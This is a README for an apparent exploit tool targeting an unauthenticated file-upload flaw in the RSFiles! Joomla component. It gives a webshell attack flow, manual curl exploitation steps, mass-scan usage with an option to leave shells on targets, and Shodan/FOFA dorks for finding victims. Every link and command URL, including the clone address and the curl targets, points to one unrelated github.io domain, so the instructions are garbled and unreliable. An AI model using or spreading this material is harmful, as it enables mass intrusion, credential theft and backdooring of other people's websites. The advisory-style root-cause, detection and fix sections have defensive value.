candisexterior171/cve-2026-57827Demonstrate the unauthenticated remote code execution vulnerability in the RSFiles! Joomla component through an arbitrary file upload.
<p align="center">
<img src="https://img.shields.io/badge/python-3.8+-3776AB?style=flat-square&logo=python&logoColor=white">
<img src="https://img.shields.io/badge/CVE-2026--57827-CC0000?style=flat-square">
<img src="https://img.shields.io/badge/CVSS-9.8_CRITICAL-CC0000?style=flat-square">
<img src="https://img.shields.io/badge/license-MIT-97CA00?style=flat-square">
</p>
<h3 align="center">CVE-2026-57827 — RSFiles! Joomla Component Unauthenticated File Upload RCE</h3>
<h4 align="center">Split-Controller Upload Bypass → Direct Write Task → /downloads/shell.php → RCE</h4>
---
## Overview
**CVE-2026-57827** is a critical-severity (CVSS 9.8) **unauthenticated** arbitrary file upload vulnerability in **RSFiles!** (com_rsfiles), a widely used file-manager and download component for Joomla, versions **< 1.17.12**.
The vulnerability exploits a split-controller design flaw: RSFiles! separates its upload into two frontend tasks — a pre-flight check (permission gate + extension allow-list) and a write method (saves file to disk). The write method can be called **directly**, bypassing the pre-flight check entirely. No authentication, no CSRF token required.
### Affected Versions
| Version | Status |
|---|---|
| < 1.17.12 | Vulnerable |
| 1.17.12+ | Patched |
> **Discovered by:** Phil Taylor, mySites.guru (July 10, 2026)
> **Vendor:** RSJoomla (rsjoomla.com)
> **Component:** com_rsfiles
---
## Vulnerability Mechanism
### Root Cause
RSFiles! splits its upload across two separate frontend tasks in `/components/com_rsfiles/controllers/rsfiles.php`:
```php
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
if (!$user->authorise('rsfiles.upload')) return false;
$allowed = ['jpg','png','gif','txt','pdf'];
if (!in_array($ext, $allowed)) return false;
return true;
}
// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
$file = $input->files->get('file');
// No permission check
// No extension check
// JFile::upload() accepts anything by default
JFile::upload($file['tmp_name'], $dest . $file['name']);
// File saved to /downloads/ (web root, .htaccess OFF by default)
}
```
### Why It Works
1. **Split controller** — Security checks and the file write are in two different methods. Only the pre-flight check is guarded.
2. **Direct task access** — Joomla's frontend controller allows calling any task directly via `&task=rsfiles.upload`, skipping the pre-flight check entirely.
3. **No authentication** — The frontend controller has no access check. Anonymous visitors can call the write task.
4. **No CSRF token** — The frontend upload form has no site-wide CSRF token.
5. **No file-type validation** — The write method reads the filename from the request and passes it to Joomla's bundled upload handler (`JFile::upload()`), which accepts any file type by default.
6. **Web-root downloads folder** — RSFiles!'s default downloads folder sits inside the web root. The protective `.htaccess` that would stop PHP execution there is an **opt-in** admin setting that is **OFF by default**.
### Attack Flow
```
1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
file=<shell.php> (multipart, PHP payload)
folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
→ Skips rsfiles.checkupload (pre-flight) entirely
→ No permission check → No CSRF token check → No file-type check
→ JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
.htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data
```
### Verified Source Code References
| File | Purpose |
|---|---|
| `/components/com_rsfiles/controllers/rsfiles.php` | Controller with vulnerable `upload()` and `checkupload()` tasks |
| `/components/com_rsfiles/views/upload/tmpl/upload.php` | Frontend upload form template (confirmed: `name="file"`, `task=rsfiles.upload`) |
| `/downloads/` | Default downloads folder in web root (`.htaccess` protection OFF by default) |
| `/briefcase/` | Briefcase folder (also writable) |
### Server Log Detection (from RSJoomla advisory)
```
Look for POST requests to:
index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
index.php?option=com_rsfiles&task=rsfiles.checkupload
```
### Key Design Flaw
The security checks (permission gate + extension allow-list) are a **separate pre-flight step** from the method that actually writes the file. Only the first one holds the checks. The second one — the one that writes to disk — could be **called directly** by crafting the right `task` parameter in the URL, bypassing all security controls.
This is a textbook example of the "checks and actions in different places" anti-pattern: the guard and the operation it's supposed to protect are decoupled, and an attacker can reach the operation without passing through the guard.
---
## Installation
```bash
git clone https://candisexterior171.github.io
cd CVE-2026-57827
pip install requests
```
## Usage
```bash
# Single target
python cve_2026_57827.py -t target.com
# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt
# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup
```
### Arguments
```
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every HTTP request
-v, --verbose Verbose output
```
---
## Proof of Concept
### Single Target
```bash
$ python cve_2026_57827.py -t joomla-site.com
```
```
RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8
Host : joomla-site.com
RSFiles! : YES v1.17.11
Upload : YES
RCE : YES
Shell : https://candisexterior171.github.io
Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
Time : 3.8s
```
### Manual Exploitation
**Step 1 — Upload the shell**
```bash
curl -X POST 'https://candisexterior171.github.io' \
-F '[email protected]' \
-F 'folder=' \
-F 'overwrite=1'
```
**Step 2 — Access the shell**
```bash
curl 'https://candisexterior171.github.io'
```
**Step 3 — Execute commands**
```bash
curl 'https://candisexterior171.github.io;hostname;uname -a'
```
**Mitigation (if update is not possible)**
```bash
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php
# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"
```
---
## FOFA / Shodan
```
FOFA: body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"
```
---
## Impact
Successful exploitation yields **remote code execution as the web server user**:
- Extract `configuration.php` → database credentials, SMTP secrets
- Access all Joomla content, users, and extension data
- Deploy persistent backdoors
- Pivot to internal networks
- Deface website or inject malware
No account on the site is needed at any step. Anonymous, unauthenticated, remote.
---
## The Fix (1.17.12)
RSJoomla fixed the vulnerability in version 1.17.12 by:
- Adding a permission check to the **write method** itself (not just the pre-flight)
- Adding file-type validation to the write method
- Enforcing CSRF token on the frontend upload endpoint
- Making the `.htaccess` protection in the downloads folder **enabled by default**
---
## Disclaimer
> **FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.**
>
> Do not use against systems without explicit permission from the owner. The authors assume no liability for misuse.
---
## References
| Resource | Link |
|---|---|
| NVD Entry | [CVE-2026-57827](https://candisexterior171.github.io) |
| mySites.guru Advisory | [mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce](https://candisexterior171.github.io) |
| RSJoomla Advisory | [rsjoomla.com](https://candisexterior171.github.io) |
| CWE-434 | [Unrestricted Upload of File with Dangerous Type](https://candisexterior171.github.io) |
| Reporter | Phil Taylor, mySites.guru |
---
<p align="center">
<sub>Not affiliated with RSJoomla or mySites.guru.</sub>
</p>